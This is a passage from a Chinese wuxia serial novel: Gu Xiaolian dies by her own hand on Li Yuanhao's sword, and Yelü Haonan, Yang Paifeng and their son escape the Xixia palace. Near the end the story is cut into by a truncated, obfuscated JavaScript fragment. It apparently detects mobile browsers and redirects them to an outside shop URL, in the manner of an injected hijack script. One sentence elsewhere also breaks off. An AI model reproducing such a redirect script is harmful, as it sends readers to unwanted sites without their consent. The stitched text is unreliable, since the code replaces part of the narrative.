一种陌生而奇异的感觉涌上心头——不是沙场征战的杀伐决断,不是朝堂博弈的勾心斗角,而是最普通、最琐碎,却也最真实的——为人父,需得“养家”、满足孩子“口腹之欲”的无奈与……一丝隐隐的、连他自己都未察觉的柔软。 他嘴角又抽搐了一下,喃喃重复,声音干涩:“三百金变三十钱……蟹黄毕罗……” 凌霄子见状,立刻变脸如翻书,刚才的“痛心疾首”瞬间消失,换上一副嬉皮笑脸、哥俩好的模样,一把勾住耶律皓南的肩膀,凑到他耳边,压低声音,语气却带着不容置疑: “钱嘛,好说!你这身辽国南院大王的官服,刮层金线下来,够赔老子十件‘流云缎’了!” 但紧接着,他脸色一肃,指尖重重敲在那本《紫微补天诀》暗金色的封皮上,发出沉闷的“笃笃”声,目光如电,紧紧盯住耶律皓南的眼睛: “秘籍,白送。但丑话说在前头——” 他每个字都咬得极重,“这《补天诀》的核心,化解天门阵反噬、真正修复你心脉神魂的关键一步,需‘父子同心’,以血脉之力为引,才能打开华山秘境最深处的‘星髓洗炼池’。你要继续钻你那复国的牛角尖,把孩子当成你野心的延续或工具……” 凌霄子冷笑一声,松开勾着他肩膀的手,退后一步,抱起双臂,语气刻薄而直接,“那就趁早找块风水宝地,躺着等死!别耽误我徒弟吃蟹黄毕罗!” 说罢,他不再看耶律皓南瞬间变幻的脸色,弯腰一把拎起还在啃羊腿、小嘴油光锃亮的刘朔的后衣领,像拎个小鸡仔似的,转身就朝着石室角落一条隐蔽的、黑黢黢的暗道窜去! “哎哎!我的羊腿!还没吃完!” 刘朔在半空中手脚扑腾,不满地嚷嚷。 “吃吃吃!就知道吃!留着你肚子明天装蟹黄毕罗!” 凌霄子骂骂咧咧,身影迅速没入黑暗,只有余音袅袅,飘荡在骤然空寂下来的石室中: “……排风丫头还在西夏人手里等救命呢……没出息的玩意儿,磨磨唧唧……” 石室,骤然间空寂下来。 只剩炭火偶尔的噼啪,烤架上羊腿残余油脂滴落的滋滋声,以及那本被紧紧攥在耶律皓南手中的、《紫微补天诀》卷册,透过掌心传来的、微凉又微烫的奇异触感。 远处,隐约还飘来刘朔被拖进暗道时,不满的、逐渐远去的嘟囔:“羊腿……真的还没吃完嘛……” 耶律皓南独自僵立在原地,仿佛一尊骤然失去所有支撑的雕塑。 他缓缓低下头,指腹无意识地、极其轻柔地摩挲着卷册封皮上“紫微”两个古篆字。那字迹铁画银钩,道韵天成,正是师傅陈希夷最擅长、也最倾注心血的星象推演一道的至高体现。 原来……师傅连这一步,都为他算到了。 他又怔怔地看向自己官袍袖口上,那处被师叔“抹”上油渍的位置。深紫色的锦缎上,一团清晰的、带着食物光泽的油污,正在烛光下,无声地彰显着它的存在感。 昂贵冰冷的辽国官袍,人间烟火的油渍。 复国雪耻的沉重执念,儿子点菜时的亮晶晶眼眸。 师恩如山的愧疚震撼,师叔插科打诨的胡搅蛮缠。 华山秘境的神秘召唤,排风身处险境的隐隐焦灼…… 所有这些纷乱庞杂、截然不同的情绪与画面,如同被打碎的万花筒,在他脑海中疯狂旋转、碰撞、交织。 最终,却似乎都凝聚在了袖口那团油渍,和耳边隐约回荡的、儿子关于“蟹黄毕罗”的念叨声上。 耶律皓南忽然觉得,胸腔里那颗重新跳动的心脏,除了血脉的悸动、师恩的沉重、对排风和孩儿的担忧之外……似乎,还多了一种陌生而沉甸甸的、实实在在的“重量”。 这烟火人间的、琐碎而闹腾的、充满油渍与讨价还价的“养家糊口”压力,竟比那追逐了半生、视为生命全部的复国执念,更沉甸甸地、真实地,压在了他的心口。 压得他有些无措,有些茫然。 却也……莫名地,感到一丝冰冷的血液,开始缓缓回暖。 5. 贺兰悲歌 西夏皇宫偏殿,顾小怜居所 夜色如最浓稠的墨汁,沉沉倾泻下来,将整座西夏皇宫吞噬其中,只余下零星几点宫灯,在骤然变得狂躁的穿堂夜风中疯狂摇曳。那昏黄脆弱的光芒,勉强勾勒出飞檐斗拱的狰狞轮廓,也将廊下匆匆奔走、神色惊惶的宫人侍卫的身影,拉扯成支离破碎、变幻不定的波纹,如同此刻这深宫中动荡不安、杀机四伏的人心。 偏殿内,未曾点起太多烛火,光线昏沉。顾小怜一身素白如雪、毫无纹饰的衣衫,静静坐在一方光可鉴人的青铜菱花镜前。镜面冰凉,映出她苍白得近乎透明的容颜。白日里那些或华丽或素雅的簪钗早已尽数卸下,墨色长发如失去束缚的瀑布,披散在瘦削的肩背,更衬得她形销骨立,仿佛一阵风就能吹散。她目光空茫地望着镜中的自己,又仿佛穿透了镜面,望向了某个遥远的、再也回不去的时光。 “砰!” 殿门被猛地撞开,挟着一股湿冷的夜气和凛冽的杀意。杨排风疾步闯入,因一路狂奔而气息未匀,袖口裙摆还沾着庭院草木间的夜露,在昏暗光线下泛着湿冷的光。她脸上毫无血色,眼中是焚心的焦灼,嗓音因极度的紧张与急迫而嘶哑破裂: “顾姑娘!快走!马车已秘密备在西北角门!李元昊……李元昊已经发现珍珠旗被调包了!他震怒欲狂,此刻正亲自率领最精锐的铁鹞子禁军,直往这儿来!再不走……就真的来不及了!” 每一个字,都像烧红的铁钉,砸在寂静的空气中。 顾小怜却仿佛没有听见。她依旧静静地坐着,甚至连睫毛都未曾颤动一下。只是指尖极其缓慢、极其轻柔地,抚过冰凉光滑的镜面,动作带着一种近乎虔诚的眷恋,又似无言的诀别。 镜中倒影里,她的唇角,极其缓慢地,牵起一抹笑容。 那笑容,凄清,绝艳,却又冰冷绝望,如同在深冬最凛冽的寒风中,悄然凋零、碾落成泥的白梅,最后的姿态,美得惊心动魄,也悲得彻骨穿心。 “排风……” 她终于开口,声音飘忽得如同窗外呜咽的风,目光却依旧空洞地望向窗外那片吞噬一切的、浓得化不开的黑暗。 “你知道么……‘苦儿’他……最怕黑了。” 她仿佛陷入了某个温暖的、却早已破碎的回忆里,眼神有了一丝虚幻的焦距,却又迅速涣散: “当年,在陇右那个漏风的山洞里……冬天,夜特别长,特别冷。他那时还不叫李元昊,只是个无家可归、连自己名字都忘了的小‘苦儿’。每次夜里打雷,或是风太大,他就会……悄悄攥住我的袖角,攥得紧紧的,指尖都在发抖。只有那样,他才能勉强睡着。” 她轻轻笑了笑,那笑容里带着溺死人的温柔,和更深沉的痛楚,“他手心总是很凉,出了很多汗,可抓着我的袖子,就像抓着救命稻草……” 她转过头,看向杨排风,眼中终于有了清晰的泪光,却依旧平静得可怕: “我教他识字,给他讲史书里的忠奸善恶,给他取名,希望他如晨曦般光明磊落,如昊天般胸怀宽广……我原想,带他走出那片寒冷与黑暗,去见见人间的温暖与光明……” 泪水,终于无声地滑落,在她苍白的面颊上留下冰冷的痕迹。 “可如今……” 她声音骤然低下去,带着无尽的嘲讽与自我厌弃,“是我……亲手将他学会的权谋心术,用在了争权夺利上;是我……默许甚至助推了他的野心膨胀;最终,也是我……用欺骗与背叛,将他……彻底推回了地狱。一个,比当年那个漏风山洞,更寒冷、更黑暗、更万劫不复的……帝王地狱。” 杨排风浑身剧颤,如遭重击,不由自主地后退了半步。 这眼神……这平静下蕴含的决绝死意……这自我审判般的枯寂与空洞…… 何等熟悉! 刹那间,时光倒流,六年前天门阵前,那个男人——耶律皓南,立于阵眼,手握匕首抵住心口,回望她那最后一眼……正是这般! 褪去了所有阴鸷算计,剥开了层层伪装,只剩下最本质的、对自身道路的绝望,对无法挽回的罪孽的认知,以及一种近乎殉道般的、与一切同归于尽的枯寂! 原来,走到绝路的人,眼神竟是如此相似!不分正邪,不论敌我! “不!顾姑娘!” 杨排风猛地从惊骇中回神,一个箭步冲上前,死死抓住顾小怜冰凉纤细的手腕,用力到指节泛白,声音因恐惧而变调,“你不能这么想!你死了就能赎罪吗?你死了,李元昊就会清醒吗?不!他只会更疯!更狂!更不可理喻!他会让整个西夏、让更多人为你陪葬!你的死,除了让他彻底变成真正的魔头,什么都改变不了!!” “砰——!!!” 话音未落,殿外传来一声震耳欲聋的巨响!厚重的雕花殿门,竟被一股狂暴无匹的巨力从外硬生生撞得四分五裂!木屑纷飞,烟尘弥漫! 一道高大挺拔、却笼罩在几乎化为实质的暴戾杀气中的身影,手提一柄仍在往下滴血的宝剑,一步步踏入殿中。 是李元昊。 他依旧穿着那身玄色龙纹常服,只是此刻襟前、袖口,乃至下颌处,都溅满了暗红、新鲜的血点,在昏黄的烛光下触目惊心。他眼底猩红一片,如同被逼到绝境、彻底失去理智的疯狂困兽,目光扫过殿内,瞬间死死锁定了铜镜前那抹素白的身影。 “小怜——!!” 他发出一声不似人声的、嘶哑破裂的低吼,仿佛受伤野兽垂死的哀鸣。剑锋抬起,带着凌厉的杀气与无边的痛楚,直指顾小怜雪白的咽喉。 “连你……连你也要背叛朕?!” 他每一个字都像是从齿缝间、从撕裂的喉咙里硬挤出来的,声似粗糙的帛布被生生撕裂,充满了被最信任之人捅刀的、难以置信的剧痛与暴怒。 “珍珠旗是假的!杨宗保……杨宗保早已被人从天牢救走!朕的皇宫,朕的禁军,朕的……” 他猛地向前逼近一步,剑尖因激动而微微颤抖,几乎要碰到顾小怜的皮肤,眼中除了疯狂,更有一种孩童被最亲之人抛弃般的、赤裸裸的恐惧与绝望: “你为何……为何要如此逼朕?! 为何要将朕最后一点……最后一点光亮,也亲手掐灭?!啊——?!” 面对这足以将常人吓瘫的帝王之怒与濒死杀意,顾小怜却异常地平静。 她缓缓地、极其艰难地站起身,仿佛用尽了全身力气。泪水如同断了线的珍珠,大颗大颗地、无声地滚落,浸湿了素白的衣襟。可她的脸上,却带着一种近乎解脱般的、凄然的平静。 她迎着他颤抖的、染血的剑尖,非但不退,反而上前了一小步。 “元昊……” 她轻声唤他,声音温柔得如同多年前,那个雪夜里,她第一次为他取名时的呼唤。泪水滑过唇角,她却努力挤出一丝释然的、破碎的微笑: “不,是……苦儿。” 这个久违的、只属于他们两人最隐秘过去的称呼,让李元昊浑身剧震,猩红的眼底闪过一丝极致的恍惚与痛楚。 “我偷换旗帜,放走杨宗保……是不想你再造更多杀孽,不想你……在这条以鲜血铺就的帝王路上,越走越远,越走越孤独,最终……彻底迷失自己,变成连你自己都厌恶的怪物。” 顾小怜的声音很轻,却字字清晰,带着血泪的重量,“我知道……我终究是负了你。负了你对我的信任,负了……我们之间那份,早已被权力和鲜血污染得面目全非,却依旧……让我无法割舍的情分。” 她看着他的眼睛,仿佛要透过那双被疯狂和痛苦充斥的眸子,看到最深处那个瑟瑟发抖的“苦儿”: “我曾对你说过……你若为恶,我必以死相谏。那时……你笑着捂住我的嘴,说‘姐姐别说傻话,苦儿永远不会变成坏人’……” “闭嘴!!” 李元昊仿佛被这句话刺痛,猛地爆发出一声暴怒的狂吼,手中长剑又向前递进半分,剑尖已然刺破了她颈间最细腻的肌肤,渗出一颗鲜红的血珠! “你以为——你以为朕不敢杀你吗?!” 他嘶声咆哮,面目狰狞,可那持剑的手,却在不受控制地剧烈颤抖。 顾小怜却笑了。那笑容凄美而绝望,带着洞悉一切的悲悯。 “不……” 她声音轻得像窗外最后一片飘落的雪花,却字字砸进李元昊的骨髓灵魂深处: “我知道你敢。你是西夏国主,是雄踞西北的枭雄,你杀伐果断,你……有什么不敢的。” 她深深吸了一口气,仿佛用尽生命最后的力量,凝望着他,眼中是铺天盖地的、浓得化不开的眷恋与哀伤: “但是元昊……我真的……真的太想念了……” 泪水决堤。 “太想念那个……在破庙大雪里,把仅有的、冻得硬邦邦的半个馒头,毫不犹豫分给我一半,自己饿得肚子咕咕叫,却还对我傻笑的‘苦儿’了……” “太想念那个……叫我一声‘姐姐’,眼神清澈干净得像雪山融水,会攥着我袖角才能安心入睡的……我的苦儿了……” 话音,戛然而止。 因为,在最后一个字尾音将散未散之际—— 顾小怜突然动了! 她用尽全身残余的力气,猛地抬起双手,不是格挡,不是逃跑,而是死死抓住了李元昊那只持剑的、剧烈颤抖的手腕!然后,在所有人——包括李元昊自己——都未能反应过来的、电光石火的刹那—— 她抓着他的手,牵引着那柄锋利的宝剑,用尽生命最后的决绝与力量,朝着自己心口的位置—— 狠狠刺了进去! “噗嗤——!” 利刃贯穿血肉的闷响,在死寂的殿中,清晰得令人头皮发麻。 温热的鲜血,瞬间迸溅而出!溅上了李元昊惊骇到扭曲的脸,溅上了顾小怜素白的衣襟,也溅上了冰冷的地砖,绽开大片刺目惊心的暗红。 时间,仿佛在这一刻凝固了。 李元昊如遭九天之上最狂暴的雷霆劈中,整个人僵在原地,瞳孔扩张到极致,里面倒映着顾小怜迅速失去血色的脸,和那抹凄绝释然的笑容。 “哐当!” 长剑,从他彻底失去力气的手中滑脱,重重摔落在地,发出刺耳的声响。 “小……小怜……?” 他喉间发出一个破碎的、不成调的音节,仿佛还没明白发生了什么。下一瞬,无边的恐惧与剧痛如同海啸般将他吞噬! “不——!!小怜!!!小怜——!!!” 他发出一声撕心裂肺、不似人声的凄厉惨嚎,猛地冲上前,在顾小怜软软倒下的瞬间,一把将她瘫软冰凉的身体死死抱入怀中! 这个方才还提剑欲杀、睥睨天下的西夏国主,这个不可一世的枭雄帝王,此刻浑身颤抖得如同狂风暴雨中一片即将碎裂的枯叶!他紧紧抱着怀中迅速流失温度的身体,试图用手去捂住那不断涌出鲜血的伤口,可那温热的液体却从他指缝间汩汩涌出,怎么捂也捂不住。 “不……不……不!小怜!你看看我!你看看我!我是苦儿!我是你的苦儿啊!” 他语无伦次,涕泪横流,喉间发出困兽濒死般绝望的、压抑的呜咽,整个人彻底崩溃,仿佛天塌地陷,世界在他眼前瞬间化为一片毫无意义的虚无灰烬。什么皇图霸业,什么雄心壮志,什么天魔大阵,在这一刻,都比不上怀中这具渐渐冰冷的躯体。 顾小怜涣散的目光,似乎努力地想要聚焦,看向他疯狂流泪的脸。她用尽最后一丝微弱的力气,艰难地抬起一只染血的手,似乎想去触摸他的脸颊,嘴唇翕动,气若游丝: “苦……儿……” 手,颓然垂下。 那双总是盛满温柔与哀愁的眼睛,缓缓地、永远地阖上了。唇边,似乎还凝固着那最后一抹,凄然却又释然的弧度。 殿内,烛火因门被撞开灌入的风而疯狂摇曳,将熄未熄,投射出满室晃动的、鬼魅般的影子。浓烈得令人作呕的血腥气,混合着窗外夜风带来的寒意,无孔不入地钻入每一个角落,也钻入窗外阴影中,那个僵立之人的鼻腔、肺腑,乃至灵魂深处。 ------ 窗外,廊柱阴影最浓重处。 耶律皓南如同一尊失去生命的石像,僵立在那里,一动不动。他指节死死抠着冰凉的木制窗棂,用力到指甲翻起,木刺深深扎入掌心皮肉,渗出殷红的血丝,他却浑然不觉。 他的眼前,反复闪现、定格、慢放着方才那惊心动魄、惨烈决绝的一幕——顾小怜抓住李元昊的手,将剑刺入自己心口的刹那!那瞬间爆发的决绝、凄美、与深入骨髓的绝望,如同最锋利的冰锥,狠狠凿穿了他的眼球,直刺灵魂最深处! 恍惚间,那素白染血的身影,与六年前天门阵前,另一个决绝挡在他身前、试图阻止他、眼中盛满同样复杂痛苦的身影——杨排风,重重叠叠,交错闪烁! 同样的以命相阻。 同样的绝望眼神。 只是,顾小怜以一种最惨烈的方式成功了,而当年的排风…… “皇图霸业……万里江山……” 一个冰冷到极致的念头,不受控制地从耶律皓南心底最阴暗的角落浮起,如同带着倒刺的冰锥,狠狠凿击着他的心脏,“若换来的……是她如此躺在我的怀中,渐渐冰冷……” “呃……” 他喉间猛地涌上一股浓烈的、带着铁锈味的腥甜,被他死死咽下,嘴角却依旧逸出一丝血线。心口那刚刚归位、尚未完全平复的心脏,传来一阵撕裂般的剧痛。 他低声道,声音沙哑干涩,带着一种连他自己都未曾察觉的、深深的复杂、震动,与一丝……难以言喻的悲悯与寒意: “李元昊……幼年流落,记忆全失,沦为‘苦儿’,受尽人间冷暖。后被寻回,至亲篡位,几经生死,复辟登基,雄踞西域,权倾一时……何等‘成功’的复国者……” 他目光穿透窗纸的破损,望向殿内那个抱着尸体、崩溃哀嚎、如同失去一切的孩子般的西夏国主,眼中掠过一丝冰冷的讥诮,与更深沉的凛然: “可如今……他连心尖上最后一点暖光、最后一份真实,都护不住。” 他亲眼目睹了一个“成功”复国者的终极溃败与疯狂——原来,坐拥天下,生杀予夺,到头来,竟换不回一具尚有温度的躯体,留不住一个真心待你之人的呼吸。那滔天的权势,在死亡与失去面前,竟显得如此苍白可笑,如此……不堪一击。 一个惊心动魄、足以冻结血液的诘问,如同最尖锐的冰锥,猝不及防地,狠狠刺入他的灵台,扎进他执着了半生的信念核心: “我耶律皓南执着半生、不惜一切代价也要完成的复国大业……若最终的代价,是杨排风也如顾小怜今日这般,带着对我的绝望与眷恋,血溅五步,死在我眼前,或……因我而死……” “值得吗?” 这三个字,无声,却重逾千斤,砸得他神魂俱震,眼前发黑。 ------ 殿内角落,杨排风背靠着冰冷坚硬的墙壁,缓缓地、无力地滑坐在地。素色的裙摆,不可避免地被地上蔓延开来的、尚带余温的暗红血点浸染,如同雪地中绽开的、不祥的梅花。 她听着殿内李元昊那不似人声、痛彻心扉、如同失去幼崽的孤狼般的绝望哀嚎,每一个音节都像钝刀子,割在她心上。 恍惚间,时光倒流。 六年前,黑水崖底,山洞之中。 耶律皓南气息奄奄,握着她的手,将那颗心脏塞给她,最后深深看她一眼,那眼神复杂得她多年无法解读,最终只化作一句气若游丝、却仿佛用尽生命的—— “排风……活下去……” 原来,有些绝望,有些深入骨髓的痛楚与不舍,从来不分敌我,不论正邪。 当所爱之人走上绝路,或将失去所爱之人时,那种撕心裂肺、天地崩塌的感觉,竟是如此相似。 她怔怔地望着顾小怜决绝赴死后,依旧带着那抹凄然微笑的苍白容颜,耳边回荡着她最后那句锥心刺骨的“太想念苦儿了”…… 忽然之间,许多被自己这六年来用恨意、用责任、用忙碌刻意掩埋、封锁在记忆最深处的画面与细节,如同解除了封印的洪水,轰然涌上心头—— “当年……他几次三番,为了救我,几乎九死一生……” “他放弃了唾手可得的、可能扭转北汉复国局面的前朝宝藏线索,只因为那线索的持有者要以我的性命为交换……” “他甚至在自身重伤未愈时,亲自出手,击杀了那个卢善衡,为此险些暴露身份,引来宋兵追杀 她曾自诩用情至深,为了他,生下孩子,背负秘密,忍受六年生离与煎熬。 可与眼前顾小怜这般,以生命为最后谏言,以死亡来唤醒所爱之人,以如此惨烈决绝的方式,来为这段孽缘画上句号的深情与绝望相比…… 自己这六年来的恨、怨、不甘、自我折磨,以及那些未曾说出口的、对往昔温情的眷恋,似乎……也显得渺小,甚至有些……苍白了。 她忽然意识到,自己似乎从未真正试着去理解,当年在天门阵前,耶律皓南毅然剜心炼阵时,除了野心与疯狂,是否也如顾小怜此刻一般,怀着某种更深沉的、她未能参透的绝望?一种对自身道路走到尽头、无法回头、只能与一切(包括她)同归于尽的……绝望? 就在这时—— 仿佛心有灵犀,又或是被殿内这惨烈景象所牵引,杨排风下意识地抬起了头。 而几乎在同一时刻,窗外阴影中,那个同样被巨大震撼与复杂心绪冲击着的男人——耶律皓南,也恰好从自己的思绪中惊醒,抬眸望了进来。 四目,隔着破碎的窗棂,弥漫的血腥气,摇曳的、将熄未熄的烛火,以及殿内那个抱着尸体哀嚎的帝王…… 无声地,撞在了一起。 没有言语。 但就在这目光交汇的刹那,往日的恩怨怨怨、六年生离的刻骨苦楚、此刻共同目睹惨剧的极致震撼、对顾小怜与李元昊这对“镜子”的复杂悲悯、乃至对自身关系的惊心审视与后怕…… 所有激烈、沉重、复杂难言的情绪,如同两股汹涌的暗流,在无形的空气中轰然对撞、激荡、交融! 他们都从对方眼中,看到了惊魂未定,看到了深切的悲悯,看到了对“如果”的恐惧,更看到了……一丝劫后余生般的、难以言喻的庆幸,与更深沉的茫然。 庆幸,此刻站在这里、还能呼吸、还能对视的,是他们,而不是殿内那对生死相隔的苦命鸳鸯。 茫然,这条路,他们又该如何走下去?会不会……也有走到如此绝境的一天? ------ “啧啧,看入迷了?眼泪都快掉下来了,要不要师叔给你们递块手帕啊?” 一个懒洋洋、带着浓浓戏谑、与此刻悲怆气氛格格不入的嗓音,如同鬼魅般,突然从众人头顶传来! 只见凌霄子不知何时,竟如一只大蝙蝠般,悄无声息地倒挂在殿内最高的一根横梁上!他一手随意垂着,另一只手竟然还拎着半根没啃干净的烤羊腿骨,油光锃亮,与这满室血腥形成荒诞至极的对比。 话音未落,他腋下突然一阵蠕动。刘朔那小家伙,竟然不知何时被他夹在了那里,此刻机灵地一扭身,如同滑不溜秋的小泥鳅,轻松挣脱了凌霄子的“挟持”,落地时悄无声息,轻盈得如同一只灵巧的猫儿。 小家伙脚一沾地,乌溜溜的眼珠飞快一扫殿内惨状,小眉头几不可察地蹙了一下,但随即脸上闪过与年龄不符的果决。他二话不说,迈开小短腿,左右开弓——一手拉住还瘫坐在地、神情恍惚的杨排风的手,另一只手则不由分说地,紧紧抓住了僵立在窗边阴影里、耶律皓南那只冰凉且沾着血的手! “爹!娘!” 刘朔用力摇晃着两人的手,嗓音清脆,带着孩童特有的穿透力,瞬间打破了凝滞的悲怆气氛,“别发呆啦!再不走天真的要亮了!李元昊的侍卫马上就来!” 说着,他突然使出吃奶的劲儿,用力把耶律皓南往杨排风的方向一推! 耶律皓南猝不及防,正心神剧震,被儿子这么一推,脚下顿时一个趔趄,踉跄着朝杨排风撞去。杨排风也下意识想伸手去扶,两人顿时撞作一团,宽大的袖袍、衣带不可避免地纠缠在一处,显得狼狈又有些……滑稽。 “娘!” 刘朔仰起小脸,一双亮得惊人的眼睛紧紧瞪着杨排风,眼圈不知何时已经红了,却硬撑着摆出一副凶巴巴的、小大人似的语气: “你可千万别学顾姐姐想不开! 为了个臭男人……呸,为了我爹这样的,不值得!” 他顿了顿,似乎觉得力度不够,又踮起脚尖,伸出油乎乎的小手,一把用力扯住耶律皓南的衣领,迫使刚刚站稳、脸色铁青的父亲不得不弯下腰,与他平视。 “我爹嘛……” 刘朔的目光在耶律皓南苍白却俊美依旧的脸上扫过,小嘴一撇,开始“如数家珍”地“拆台”,语速快得像蹦豆子: “是长得凶了点,整天板着个脸吓唬人;脾气坏了点,动不动就瞪眼;口不对心了一点,明明心里想得紧,嘴上偏不说;还……还动不动就绑人,这点最讨厌了!” 他每说一句,耶律皓南的脸色就黑一分,额角青筋隐现,眼看就要爆发。 “但是!” 刘朔突然拔高了嗓音,那双遗传自父母的、漂亮的黑白分明的大眼睛,在跃动的、即将熄灭的烛火映照下,竟迸发出一种与年龄不符的、清澈而锐利的光芒,直直看进耶律皓南眼底深处: “师傅都告诉我了!爹你这六年,疯了一样到处找娘!夜夜被那个什么‘反噬’痛得醒过来,浑身冷汗,蜷在床上打颤的时候,喊的都是娘的名字!” 小家伙的声音带着一丝不易察觉的哽咽,却依旧清晰有力,“师傅说爹你就是个死鸭子嘴硬的笨蛋!其实你心软得很!你给后山受伤摔断翅膀的小鸟包扎伤口的时候,手都在抖,比我还紧张!你……” 他猛地转过头,又看向杨排风,小手一指耶律皓南: “娘!你看他!他比那个动不动就杀人、把顾姐姐逼死的李元昊,好一千倍!一万倍!至少……至少他不会真的伤害你!他心里有你!他一直都有!” 最后一句,几乎是喊出来的,在寂静下来的殿中回荡,也重重砸在杨排风和耶律皓南的心上。 “休得胡言!” 耶律皓南猛地直起身,下意识地厉声呵斥,想维持住最后一点身为父亲的威严。然而,一抹可疑的、迅速蔓延的红晕,却不受控制地从他耳根后泛起,瞬间染红了脖颈,泄露了他内心的剧烈震荡。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185033|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他想甩袖,想呵斥儿子“大逆不道”、“信口开河”,可手腕被儿子那双温热、柔软、却异常有力的小手死死箍着,那温度,竟奇异地让他想起了很多年前,黑水崖底,杨排风颤抖着、却极其轻柔地为他包扎胸前狰狞伤口时,指尖那微凉的触碰…… 怀中,那本《紫微补天诀》的卷册,似乎隐隐发烫,传递着某种难以言喻的悸动。 “噗嗤——” 一声极轻、却清晰无比的笑声,突然从旁边传来。 是杨排风。 她看着耶律皓南那强撑威严、却耳根通红、手足无措的狼狈模样,又瞥见蹲在横梁上、正挤眉弄眼、看戏看得津津有味的师叔凌霄子…… 忽然之间,心头那压了整整六年、沉重如山的怨恨、委屈、不甘与自我折磨,仿佛被儿子这番“惊世骇俗”的拆台,和眼前这荒诞又真实的场景,轻轻一撞,便如阳光下的积雪般,开始簌簌崩塌,融化。 是啊…… 比起殿内那对生死相隔、血染华堂、一个以死谏言、一个崩溃疯魔的苦命鸳鸯…… 我们…… 至少,还活着。 他还活着,虽然一身伤病,满心偏执。 她还活着,虽然历经沧桑,心结难解。 他们的儿子,也活着,而且如此古灵精怪,鲜活明亮,像个小太阳,驱散着阴霾。 至少……还有机会。 还有机会,去解开那些误会,去面对那些伤痛,去……重新选择一条路。 她伸手,带着久违的、释然中夹杂着酸楚的笑意,揉了揉刘朔被夜风吹得有些凌乱的柔软头发,声音有些沙哑,却异常温柔: “臭小子……谁教你这么……拆你爹台的?嗯?” “师傅说,实话最扎心,也最管用!” 刘朔得意地一甩小脑袋,随即像是想起了什么,突然从自己怀里掏出一个用油纸包得严严实实、还隐隐散发着热气和诱人香气的东西,献宝似地塞到耶律皓南那只空着的手里。 “爹!你饿不饿?跑了半夜肯定饿了!给!” 他亮晶晶的眼睛期待地看着耶律皓南,“我从李元昊那个坏蛋的小厨房顺出来的炙驼峰!可香了!还热着呢!” 耶律皓南下意识地握住了那个还带着儿子体温和食物热度的、油渍麻花的油纸包。掌心传来的滚烫触感,眼前儿子献宝般亮闪闪、毫无阴霾的眼眸,耳边杨排风那声带着泪意的、久违的轻笑…… 一种陌生而汹涌的酸软,毫无征兆地,狠狠攥住了他刚刚经历巨震、尚且冰冷滞涩的心脏。 他猛地又想起了殿内,李元昊抱着顾小怜尸体、疯癫绝望、仿佛失去全世界的模样…… 不。 绝不。 电光石火间,一个无比清晰的念头,压倒了一切复杂的思绪、算计、犹豫。 他突然将手中那个滚烫的油纸包,往还在仰头看他的刘朔怀里一塞,然后,在所有人都未及反应的瞬间—— 反手,一把紧紧抓住了身侧杨排风那只微凉、还带着颤抖的手腕! “走。” 只有一个字。 低沉,沙哑,却带着一种斩断所有退路、不容置疑的决绝。 “哎哟喂!总算开窍了!” 横梁上的凌霄子吹了一声响亮的口哨,手指一弹—— “铛!” 一枚边缘磨得锋利的铜钱,如同长了眼睛般,精准无比地钉入了他们身侧的窗框,入木三分,尾端犹自嗡鸣颤抖! “赶紧的!麻溜滚蛋!再磨磨唧唧谈情说爱、悲春伤秋,老子真讹你三百两金子的袍子钱!说到做到!” 凌霄子骂骂咧咧,身影如大鸟般从梁上掠下,一把拎起还在啃油纸包边缘的刘朔的后衣领,如同拎个包袱,足尖在柱子上一点,便轻飘飘跃上了高高的宫墙。 “哎哎!爹!娘!” 刘朔在半空中手舞足蹈,还不忘回头,用尽力气朝着下面喊,童音在夜风中飘荡: “你们找个没人的地方好好恩爱!别再吵架啦!我跟师傅……还有拯救苍生的大事要办呢!” 声音渐渐远去,没入深宫的重重屋脊之后。 殿内,只剩下李元昊压抑的、断续的哀嚎,和越来越近的、杂乱沉重的脚步声与兵甲撞击声。 耶律皓南不再犹豫。 他握紧了掌中那只微凉却渐渐回暖的手,十指收紧,用力扣住,仿佛要透过肌肤,将那份失而复得的温度与存在感,牢牢镌刻进自己的骨血灵魂之中。 “走。” 他再次低语,不再看她,却拉着她,转身,毫不犹豫地朝着凌霄子离去的方向,朝着宫墙之外,那片渐渐泛起鱼肚白的、微露的曙光,疾奔而去。 宫墙外,天光微现,将黑夜撕开一道缝隙,清冷而充满希望的光线,柔柔地洒落,将两人并肩疾行、衣袂翻飞、紧紧交握的身影,在地上拉出两道长长的、逐渐交融在一起的影子。 ------ 高高的宫墙脊兽阴影下。 凌霄子并未立刻远去。他将刘朔放下,看着那两道身影消失在宫巷尽头,摇了摇头,脸上那玩世不恭的笑容淡去,化作一声几不可闻的、复杂的轻笑: “痴儿啊……痴儿……” 他转身,袖中无声滑出一道闪烁着淡淡金光的奇异符箓,手指如拈花般轻柔一拂,那金符便悄无声息地贴在了顾小怜居所那扇破碎的门扉内侧,一个极不起眼的角落。 随即,他指尖轻弹,一枚小石子破空而去,精准无比地击中了殿内正抱着尸体、神智涣散、对外界毫无所觉的李元昊的后颈某处穴位。 “呃……” 李元昊闷哼一声,身体一僵,随即软软地瘫倒,恰好伏在顾小怜尚带余温的身侧,昏迷过去。 “师傅,现在咋办?” 刘朔叼着不知从哪又摸出来的一个野果子,含糊问道,小脸上没了之前的嬉笑,看着殿内的情景,眼中也有一丝不符合年龄的沉重。 “抬人,走。” 凌霄子言简意赅,弯腰,动作看似粗莽、实则极其平稳轻柔地,将顾小怜那具心口染血、余温未散的身体扛上了自己瘦削却异常坚实的肩头。 “等这疯子醒来,” 凌霄子眼中闪过一道幽深难测的、冰冷而讥诮的光芒,“发现怀中尸首不翼而飞,现场毫无痕迹,只有门上一道他绝对解不开、也毁不掉的道家金符……” 他嘿嘿低笑两声,那笑声在渐亮的晨光中,透着令人骨髓发寒的意味: “这将成为一根最毒、最锋利的刺,永远扎在他心里。让他日夜活在‘小怜或许未死’、‘是被高人救走’、‘我连她的尸身都保不住’的疯魔执念与无尽猜疑、悔恨、寻找与绝望之中。这,才是对他……最好的‘惩罚’,也是……” 他看了一眼肩上的女子,声音低下去,“……给她一个,或许的‘以后’。” 夜色将尽,天际已露微明。 